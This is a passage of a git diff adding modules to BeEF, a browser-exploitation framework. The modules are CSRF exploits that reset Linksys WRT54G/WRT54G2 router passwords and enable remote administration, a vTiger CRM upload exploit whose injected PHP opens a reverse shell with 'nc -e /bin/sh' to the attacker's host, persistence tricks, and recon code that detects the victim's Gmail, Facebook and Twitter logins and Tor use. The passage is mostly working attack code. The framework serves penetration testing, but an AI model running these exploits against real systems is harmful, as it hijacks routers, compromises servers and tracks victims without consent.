'MANAGE_HTTP'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_HTTP_S'); + input.setAttribute('value', 0); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_PASSWORDMOD'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_PASSWORD'); + input.setAttribute('value', passwd); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_PASSWORD_CONFIRM'); + input.setAttribute('value', passwd); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', '_http_enable'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_WLFILTER'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_REMOTE'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_PORT'); + input.setAttribute('value', port); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'MANAGE_UPNP'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'layout'); + input.setAttribute('value', 'en'); + form.appendChild(input); + + iframe.contentWindow.document.body.appendChild(form); + form.submit(); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); +}); diff --git a/modules/network/linksys_wrt54g2_csrf/config.yaml b/modules/network/linksys_wrt54g2_csrf/config.yaml new file mode 100644 index 000000000..a8ca254cd --- /dev/null +++ b/modules/network/linksys_wrt54g2_csrf/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + linksys_wrt54g2_csrf: + enable: true + category: "Network" diff --git a/modules/network/linksys_wrt54g2_csrf/module.rb b/modules/network/linksys_wrt54g2_csrf/module.rb new file mode 100644 index 000000000..6c2e9c34f --- /dev/null +++ b/modules/network/linksys_wrt54g2_csrf/module.rb @@ -0,0 +1,32 @@ +class Linksys_wrt54g2_csrf < BeEF::Core::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Linksys WRT54G2 CSRF Exploit', + 'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G2 router.', + 'Category' => 'Network', + 'Author' => 'Martin Barbella', + 'Data' => [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, + {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use_template! + end + + def callback + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/network/linksys_wrt54g_csrf/command.js b/modules/network/linksys_wrt54g_csrf/command.js new file mode 100644 index 000000000..2100fb4de --- /dev/null +++ b/modules/network/linksys_wrt54g_csrf/command.js @@ -0,0 +1,92 @@ +beef.execute(function() { + var port = '<%= @port %>'; + var gateway = '<%= @base %>'; + var passwd = '<%= @password %>'; + + var target = gateway + "manage.tri"; + + var iframe = beef.dom.createInvisibleIframe(); + + var form = document.createElement('form'); + form.setAttribute('action', target); + form.setAttribute('method', 'post'); + + var input = null; + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'remote_mgt_https'); + input.setAttribute('value', 0); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'http_enable'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'https_enable'); + input.setAttribute('value', 0); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'PasswdModify'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'http_passwd'); + input.setAttribute('value', passwd); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'http_passwdConfirm'); + input.setAttribute('value', passwd); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', '_http_enable'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'web_wl_filter'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'remote_management'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'http_wanport'); + input.setAttribute('value', port); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'upnp_enable'); + input.setAttribute('value', 1); + form.appendChild(input); + + input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'layout'); + input.setAttribute('value', 'en'); + form.appendChild(input); + + iframe.contentWindow.document.body.appendChild(form); + form.submit(); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); +}); diff --git a/modules/network/linksys_wrt54g_csrf/config.yaml b/modules/network/linksys_wrt54g_csrf/config.yaml new file mode 100644 index 000000000..5d7a540cd --- /dev/null +++ b/modules/network/linksys_wrt54g_csrf/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + linksys_wrt54g_csrf: + enable: true + category: "Network" diff --git a/modules/network/linksys_wrt54g_csrf/module.rb b/modules/network/linksys_wrt54g_csrf/module.rb new file mode 100644 index 000000000..eb382d827 --- /dev/null +++ b/modules/network/linksys_wrt54g_csrf/module.rb @@ -0,0 +1,32 @@ +class Linksys_wrt54g_csrf < BeEF::Core::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Linksys WRT54G CSRF Exploit', + 'Description' => 'Attempts to enable remote administration and change the password on a Linksys WRT54G router.', + 'Category' => 'Network', + 'Author' => 'Martin Barbella', + 'Data' => [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://arbitrary:admin@192.168.1.1/'}, + {'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use_template! + end + + def callback + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/network/vtiger_crm_upload_exploit/command.js b/modules/network/vtiger_crm_upload_exploit/command.js new file mode 100644 index 000000000..236865722 --- /dev/null +++ b/modules/network/vtiger_crm_upload_exploit/command.js @@ -0,0 +1,186 @@ +// VtigerCRM <= 5.0.4 "chained exploitation" PoC +// Hacked up for OWASP New Zealand Day, July 13th 2009 +// +// Thanks for the BeEF Wade :) + +// Ported to Ruby BeEF by xntrik 2010 + +beef.execute(function() { + + //Doing the same trick I used in detect_tor to ensure exploit runs once + // xntrik + + if (document.getElementById('vtigerimg')) { + //document.body.removeChild(document.getElementById('vtigerimg')); + //beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=There was a stagnant vtiger ID. Aborted!'); + return "Exploit running already"; + } + + var img = new Image(); + img.setAttribute("style","visibility:hidden"); + img.setAttribute("width","0"); + img.setAttribute("height","0"); + img.id = 'vtigerimg'; + + document.body.appendChild(img); + + baseurl = "<%= @vtiger_url %>"; + + function do_upload(){ + setTimeout(function() {ajax_upload()}, 1000); + } + + // In a nutshell: + // + // 1) build url + // 2) construct the request object + // 3) POST the form + // 4) once requestdone, call do_callfile() + + function ajax_upload(){ + var targeturl = baseurl + '/index.php?module=uploads&action=add2db&return_module=Home&return_action=index'; + + http_request = false; + http_request = beef.net.get_ajax(); + if (!http_request) { + // fail silently! + return false; + } + + //prepare the POST + var boundaryString = 'PWNED'; + var boundary = '-----------------------------PWNED'; + var requestbody = + boundary + '\r\n' + + 'Content-Disposition: form-data; name="MAX_FILE_SIZE"' + '\r\n' + + '\r\n' + + 3000000 + '\r\n' + + boundary + + '\r\n' + + 'Content-Disposition: form-data; name="return_module"' + '\r\n' + + '\r\n' + + '\r\n' + + boundary + + '\r\n' + + 'Content-Disposition: form-data; name="return_action"' + '\r\n' + + '\r\n' + + '\r\n' + + boundary + + '\r\n' + + 'Content-Disposition: form-data; name="return_id"' + '\r\n' + + '\r\n' + + '\r\n' + + boundary + + '\r\n' + + 'Content-Disposition: form-data; name="uploadsubject"' + '\r\n' + + '\r\n' + + '\r\n' + + boundary + + '\r\n' + + 'Content-Disposition: form-data; name="filename"; filename="vtiger-fun.PHP"' + '\r\n' + + 'Content-Type: application/x-httpd-php' + '\r\n' + + '\r\n' + + '<\?php' + '\r\n' + + '<%= @vtiger_php %>' + '\r\n' + + '\?>' + '\r\n' + + '\r\n' + + boundary + + '\r\n' + + 'Content-Disposition: form-data; name="filename_hidden"' + '\r\n' + + '\r\n' + + 'vtiger-fun.PHP' + + '\r\n' + + boundary + + '\r\n' + + 'Content-Disposition: form-data; name="txtDescription"' + '\\r\n' + + '\r\n' + + 'drop it like its hot' + '\r\n' + + boundary + + '\r\n' + + 'Content-Disposition: form-data; name="save"' + '\r\n' + + '\r\n' + + 'Attach' + '\r\n' + + boundary; + + var uploadstate = 0; + + http_request.onreadystatechange = function() { + if (http_request.readyState == 4) { + if (http_request.status == 200) { + uploadstate = 3; + } else { + uploadstate = 2; + } + } else { + uploadstate = 1; + } + return; + }; + http_request.open("POST", targeturl, true); + http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=---------------------------PWNED"); + http_request.setRequestHeader("Content-length", requestbody.length); + http_request.send(requestbody); + + setTimeout(function() { + if (uploadstate == 0) { + //something went way wrong + document.body.removeChild(document.getElementById('vtigerimg')); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error in file upload'); + } else if (uploadstate == 1) { + //we never got a response from the server + document.body.removeChild(document.getElementById('vtigerimg')); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server did not respond while trying to upload file'); + } else if (uploadstate == 2) { + //we got a response that was NOT a 200 + document.body.removeChild(document.getElementById('vtigerimg')); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Server gave an invalid response while trying to upload file'); + } else if (uploadstate == 3) { + //We got a 200, so hopefully the file was uploaded + //be_graceful(); + do_callfile(0,1000); + } + },<%= @upload_timeout %>); + + return; + } + + function do_callfile(start,count){ + if (document.getElementById('vtigerimg') == null) { + return false; + } + + for (i=start;i<=start+count;i++) + { + var http_request = false; + http_request = beef.net.get_ajax(); + if (!http_request) { + // fail silently! + return false; + } + + var findurl = baseurl + "<%= @vtiger_filepath %>" + i + "_vtiger-fun.PHP"; + var requestbody = "birds of a feather flock together"; + + http_request.open('POST', findurl, false); + http_request.setRequestHeader("Content-length", requestbody.length); + http_request.send(requestbody); + if (http_request.status == 200) { + document.body.removeChild(document.getElementById('vtigerimg')); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=File Uploaded AND Executed ('+findurl+')'); + return; + } + + } + return; + } + + // Try the upload + function do_main(){ + do_upload(); + return; + } + + // Run the sploit + do_main(); + +}); diff --git a/modules/network/vtiger_crm_upload_exploit/config.yaml b/modules/network/vtiger_crm_upload_exploit/config.yaml new file mode 100644 index 000000000..e2e464b78 --- /dev/null +++ b/modules/network/vtiger_crm_upload_exploit/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + vtiger_crm_upload_exploit: + enable: true + category: "Network" diff --git a/modules/network/vtiger_crm_upload_exploit/module.rb b/modules/network/vtiger_crm_upload_exploit/module.rb new file mode 100644 index 000000000..5dc7aa7e0 --- /dev/null +++ b/modules/network/vtiger_crm_upload_exploit/module.rb @@ -0,0 +1,47 @@ +class Vtiger_crm_upload_exploit < BeEF::Core::Command + + def initialize + time = Time.new + weekno = case time.day + when 1..7 then 1 + when 8..14 then 2 + when 15..21 then 3 + when 22..28 then 4 + else 5 + end + + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + + super({ + 'Name' => 'VTiger CRM Upload Exploit', + 'Description' => 'This module demonstrates chained exploitation. It will upload and execute a reverse bindshell. The vulnerability is exploited in the CRM vtiger 5.0.4
The default PHP requires a listener, so don\'t forget to start one, for example: nc -l 8888', + 'Category' => 'Network', + 'Author' => ['wade', 'bm', 'pipes', 'xntrik'], + 'Data' => + [ + {'name'=>'vtiger_url', 'ui_label' =>'Target Web Server','value'=>'http://vulnerable-vtiger.site','width'=>'400px'}, + {'name'=>'vtiger_filepath','ui_label'=>'Target Directory','value'=>'/storage/'+time.year.to_s()+'/'+time.strftime("%B")+'/week'+weekno.to_s()+'/','width'=>'400px'}, + {'name'=>'vtiger_php','ui_label'=>'Injected PHP','value'=>'passthru("/bin/nc -e /bin/sh '+beef_host+' 8888");','type'=>'textarea','width'=>'400px','height'=>'100px'}, + {'name'=>'upload_timeout','ui_label'=>'Upload Timeout','value'=>'5000'} + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.net.local' + + use_template! + end + + def callback + return if @datastore['result'].nil? + + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/persistence/iframe_above/command.js b/modules/persistence/iframe_above/command.js new file mode 100644 index 000000000..31529f070 --- /dev/null +++ b/modules/persistence/iframe_above/command.js @@ -0,0 +1,4 @@ +beef.execute(function() { + beef.session.persistant(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Links have been rewritten to spawn an iFrame.'); +}); diff --git a/modules/persistence/iframe_above/config.yaml b/modules/persistence/iframe_above/config.yaml new file mode 100644 index 000000000..e2d30722a --- /dev/null +++ b/modules/persistence/iframe_above/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + iframe_above: + enable: true + category: "Persistence" diff --git a/modules/persistence/iframe_above/module.rb b/modules/persistence/iframe_above/module.rb new file mode 100644 index 000000000..a856169df --- /dev/null +++ b/modules/persistence/iframe_above/module.rb @@ -0,0 +1,31 @@ +class Iframe_above < BeEF::Core::Command + + # + # Defines and set up the commmand module. + # + def initialize + super({ + 'Name' => 'iFrame Persistance', + 'Description' => 'Rewrites all links on the webpage to spawn a 100% by 100% iFrame with a source relative to the selected link.', + 'Category' => 'Persistence', + 'Author' => 'passbe', + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + use_template! + + end + + # This method is being called when a hooked browser sends some + # data back to the framework. + # + def callback + save({'result' => @datastore['result']}) + end + +end \ No newline at end of file diff --git a/modules/persistence/popunder_window/command.js b/modules/persistence/popunder_window/command.js new file mode 100644 index 000000000..b82392a45 --- /dev/null +++ b/modules/persistence/popunder_window/command.js @@ -0,0 +1,10 @@ +beef.execute(function() { + + var result="Pop-under window successfully created!"; + + window.open(window.location.protocol + '//' + window.location.host + '/demos/basic.html','popunder','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur(); + + window.focus(); + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+escape(result)); +}); diff --git a/modules/persistence/popunder_window/config.yaml b/modules/persistence/popunder_window/config.yaml new file mode 100644 index 000000000..fa296ab79 --- /dev/null +++ b/modules/persistence/popunder_window/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + popunder_window: + enable: true + category: "Persistence" diff --git a/modules/persistence/popunder_window/module.rb b/modules/persistence/popunder_window/module.rb new file mode 100644 index 000000000..2bced4e54 --- /dev/null +++ b/modules/persistence/popunder_window/module.rb @@ -0,0 +1,31 @@ +class Popunder_window < BeEF::Core::Command + + # + # Defines and set up the commmand module. + # + def initialize + super({ + 'Name' => 'Pop Under Window', + 'Description' => 'Creates a new discrete pop under window with the beef hook included.

This module will add another browser node to the tree. It will be a duplicate. This will be addressed in a future release', + 'Category' => 'Persistence', + 'Author' => 'ethicalhack3r', + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_USER_NOTIFY, + 'browser_name' => ALL + }) + + use_template! + + end + + # This method is being called when a hooked browser sends some + # data back to the framework. + # + def callback + save({'result' => @datastore['result']}) + end + +end \ No newline at end of file diff --git a/modules/recon/collect_links/command.js b/modules/recon/collect_links/command.js new file mode 100644 index 000000000..919a2a6f7 --- /dev/null +++ b/modules/recon/collect_links/command.js @@ -0,0 +1,6 @@ +beef.execute(function() { + + beef.net.send("<%= @command_url %>", <%= @command_id %>, beef.dom.getLinks()); + +}); + diff --git a/modules/recon/collect_links/config.yaml b/modules/recon/collect_links/config.yaml new file mode 100644 index 000000000..99f02aa41 --- /dev/null +++ b/modules/recon/collect_links/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + collect_links: + enable: true + category: "Recon" diff --git a/modules/recon/collect_links/module.rb b/modules/recon/collect_links/module.rb new file mode 100644 index 000000000..b63cbe379 --- /dev/null +++ b/modules/recon/collect_links/module.rb @@ -0,0 +1,30 @@ +class Collect_links < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Collect Links', + 'Description' => %Q{ + This module will retrieve HREFs from the target page + }, + 'Category' => 'Recon', + 'Author' => ['vo'], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Links'] = @datastore['links'] + + save content + end + +end \ No newline at end of file diff --git a/modules/recon/detect_cookies_support/command.js b/modules/recon/detect_cookies_support/command.js new file mode 100644 index 000000000..a85563b0e --- /dev/null +++ b/modules/recon/detect_cookies_support/command.js @@ -0,0 +1,9 @@ +beef.execute(function() { + + var sessionResult = beef.browser.cookie.hasSessionCookies("<%= @cookie %>"); + var persistentResult = beef.browser.cookie.hasPersistentCookies("<%= @cookie %>"); + + var results = {'has_session_cookies': sessionResult, 'has_persistent_cookies':persistentResult, 'cookie':'<%= @cookie %>'} + beef.net.send("<%= @command_url %>", <%= @command_id %>, results); +}); + diff --git a/modules/recon/detect_cookies_support/config.yaml b/modules/recon/detect_cookies_support/config.yaml new file mode 100644 index 000000000..66b8387a8 --- /dev/null +++ b/modules/recon/detect_cookies_support/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + detect_cookies_support: + enable: true + category: "Recon" diff --git a/modules/recon/detect_cookies_support/module.rb b/modules/recon/detect_cookies_support/module.rb new file mode 100644 index 000000000..dc142ba68 --- /dev/null +++ b/modules/recon/detect_cookies_support/module.rb @@ -0,0 +1,34 @@ +class Detect_cookies_support < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Detect Cookie Support', + 'Description' => %Q{ + This module will check if the browser allows a cookie with specified name to be set. + }, + 'Category' => 'Recon', + 'Data' => [ + {'name' => 'cookie', 'ui_label' => 'Cookie name', 'value' =>'cookie'} + ], + 'Author' => ['vo'], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.browser.cookie' + use_template! + end + + def callback + content = {} + content['Has Session Cookies'] = @datastore['has_session_cookies'] + content['Has Persistent Cookies'] = @datastore['has_persistent_cookies'] + content['Cookie Attempted'] = @datastore['cookie'] + save content + end + +end diff --git a/modules/recon/detect_soc_nets/command.js b/modules/recon/detect_soc_nets/command.js new file mode 100644 index 000000000..10a02dad2 --- /dev/null +++ b/modules/recon/detect_soc_nets/command.js @@ -0,0 +1,67 @@ +beef.execute(function() { + + var facebookresult = ""; + var twitterresult = ""; + + if (document.getElementById('gmailimg')) { + return "Img has already been created"; + } + + var img = new Image(); + img.setAttribute("style","visibility:hidden"); + img.setAttribute("width","0"); + img.setAttribute("height","0"); + img.src = 'https://mail.google.com/mail/photos/static/AD34hIiQyJTs5FhsJ1mhFdK9wx4OZU2AgLNZLBbk2zMHYPUfs-ZzXPLq2s2vdBmgnJ6SoUCeBbFnjRlPUDXw860gsEDSKPrhBJYDgDBCd7g36x2tuBQc0TM?'+ new Date(); + img.id = 'gmailimg'; + img.setAttribute("attr","start"); + img.onerror = function() { + this.setAttribute("attr","error"); + }; + img.onload = function() { + this.setAttribute("attr","load"); + }; + + + document.body.appendChild(img); + + $j.ajax({ + url: "https://twitter.com/account/use_phx?setting=false&format=text", + dataType: "script", + cache: "false", + error: function(one, two, three) { + twitterresult = "User is authenticated to Twitter"; + }, + success: function(one, two, three) { + twitterresult = "User is NOT authenticated to Twitter"; + }, + timeout: <%= @timeout %> + }); + + $j.ajax({ + url: "https://www.facebook.com/imike3", + dataType: "script", + cache: "false", + error: function(one, two, three) { + facebookresult = "User is NOT authenticated to Facebook"; + }, + success: function(one, two, three) { + facebookresult = "User is authenticated to Facebook"; + }, + timeout: <%= @timeout %> + }); + + setTimeout(function() { + var img2 = document.getElementById('gmailimg'); + if (img2.getAttribute("attr") == "error") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is NOT authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); + } else if (img2.getAttribute("attr") == "load") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=User is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); + } else if (img2.getAttribute("attr") == "start") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'gmail=Browser timed out. Cannot determine if user is authenticated to GMail&twitter='+twitterresult+'&facebook='+facebookresult); + }; + document.body.removeChild(img2); + img = null; + img2 = null; + }, <%= @timeout %>+3000); + +}); diff --git a/modules/recon/detect_soc_nets/config.yaml b/modules/recon/detect_soc_nets/config.yaml new file mode 100644 index 000000000..2d4e64036 --- /dev/null +++ b/modules/recon/detect_soc_nets/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + detect_soc_nets: + enable: true + category: "Recon" diff --git a/modules/recon/detect_soc_nets/module.rb b/modules/recon/detect_soc_nets/module.rb new file mode 100644 index 000000000..c9db50666 --- /dev/null +++ b/modules/recon/detect_soc_nets/module.rb @@ -0,0 +1,32 @@ +class Detect_soc_nets < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Detect Social Networks', + 'Description' => 'This module will detect if the Hooked Browser is currently authenticated to GMail, Facebook and Twitter', + 'Category' => 'Recon', + 'Author' => ['xntrik', 'Mike Cardwell'], + 'Data' => [ + {'name' => 'timeout', 'ui_label' => 'Detection Timeout','value' => '5000'} + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.net.local' + use_template! + end + + def callback + content = {} + content['GMail'] = @datastore['gmail'] + content['Facebook'] = @datastore['facebook'] + content['Twitter']= @datastore['twitter'] + save content + end + +end \ No newline at end of file diff --git a/modules/recon/detect_tor/command.js b/modules/recon/detect_tor/command.js new file mode 100644 index 000000000..af7134d58 --- /dev/null +++ b/modules/recon/detect_tor/command.js @@ -0,0 +1,35 @@ +beef.execute(function() { + + if (document.getElementById('torimg')) { + return "Img already created"; + } + + var img = new Image(); + img.setAttribute("style","visibility:hidden"); + img.setAttribute("width","0"); + img.setAttribute("height","0"); + img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif'; + img.id = 'torimg'; + img.setAttribute("attr","start"); + img.onerror = function() { + this.setAttribute("attr","error"); + }; + img.onload = function() { + this.setAttribute("attr","load"); + }; + + document.body.appendChild(img); + + setTimeout(function() { + var img = document.getElementById('torimg'); + if (img.getAttribute("attr") == "error") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor'); + } else if (img.getAttribute("attr") == "load") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor'); + } else if (img.getAttribute("attr") == "start") { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor'); + }; + document.body.removeChild(img); + }, <%= @timeout %>); + +}); diff --git a/modules/recon/detect_tor/config.yaml b/modules/recon/detect_tor/config.yaml new file mode 100644 index 000000000..5651ecf4a --- /dev/null +++ b/modules/recon/detect_tor/config.yaml @@ -0,0 +1,5 @@ +beef: + module: + detect_tor: + enable: true + category: "Recon" diff --git a/modules/recon/detect_tor/module.rb b/modules/recon/detect_tor/module.rb new file mode 100644 index 000000000..e2c0eff4c --- /dev/null +++ b/modules/recon/detect_tor/module.rb @@ -0,0 +1,30 @@ +class Detect_tor < BeEF::Core::Command + + def initialize + super({ + 'Name' => 'Detect Tor', + 'Description' => 'This module will detect if the zombie is currently using TOR (The Onion Router).', + 'Category' => 'Recon', + 'Author' => ['pdp', 'wade', 'bm', 'xntrik'], + 'Data' => [ + {'name'=>'timeout', 'ui_label' =>'Detection timeout','value'=>'10000'} + ], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.net.local' + use_template! + end + + def callback + return if @datastore['result'].nil? + + save({'result' => @datastore['result']}) + end + +end \ No newline at end of file